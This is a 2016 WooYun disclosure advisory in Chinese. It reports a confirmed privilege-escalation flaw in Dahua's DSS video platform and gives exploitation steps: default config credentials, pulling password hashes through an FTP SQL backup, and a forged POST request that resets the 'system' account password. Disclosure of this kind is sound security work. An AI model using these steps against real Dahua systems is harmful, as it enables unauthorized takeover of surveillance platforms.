当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0194741

漏洞标题：大华DSS平台低权限账户越权直接修改system密码

相关厂商：dahuasystem.cn

漏洞作者： BLKC

提交时间：2016-04-10 20:41

修复时间：2016-07-12 20:50

公开时间：2016-07-12 20:50

漏洞类型：权限控制绕过

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-10： 细节已通知厂商并且等待厂商处理中
2016-04-13： 厂商已经确认，细节仅向厂商公开
2016-04-16： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2016-06-07： 细节向核心白帽子及相关领域专家公开
2016-06-17： 细节向普通白帽子公开
2016-06-27： 细节向实习白帽子公开
2016-07-12： 细节向公众公开

简要描述：

大华DSS平台低权限账户越权直接修改system密码
前提：拥有config配置用户名密码

详细说明：

被测试DSS版本信息：V3.11.003.R.20150929.374164
前提：拥有config配置用户名密码
一． 取得所有用户名
1. 进入config管理界面
地址：http://[IP]/config/user_toLoginPage.action
默认用户名admin密码123456
2. 配置自动SQL备份FTP服务器

QQ截图20160410191027.jpg


3. 等待自动备份
4. 从备份的SQL文件中获得所有账户的用户名，密码（MD5）

QQ截图20160410190748.jpg


5. 测试账户弱口令，取得一个低权限账户
二.
1.web登录低权限账户（获得登录cookie）

QQ截图20160410191152.jpg


2.POST提交强制修改密码的url（保持低权限账户的cookie）
我直接用的火狐在浏览器中提交的

QQ截图20160410191503.jpg


http://【IP】/admin/user_updatePassword.action?nowTime=【时间戳】


POST信息：

noNeedCheckPassword=true
userBean.loginName=system       被改密码的用户名
userBean.id=1					被改的用户ID（数据文件中获取）
userBean.newLoginPass=7e9038a26b85dc9b7d5089a1b1d7e00c     新密码MD5


MD5加密格式：

用户名:DSS:密码


（逆向JS所得）
三.完毕

漏洞证明：

经核实：所用的低权限账号是没有管理员权限的

QQ截图20160410191611.jpg


QQ截图20160410191642.jpg

修复方案：

弱口令和默认修改下可以简单解决
修改密码的提交增加权限认证

版权声明：转载请注明来源 BLKC@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-04-13 20:49

厂商回复：

漏洞已经确认，正在修复中。感谢反馈。

最新状态：

暂无

漏洞评价：

评价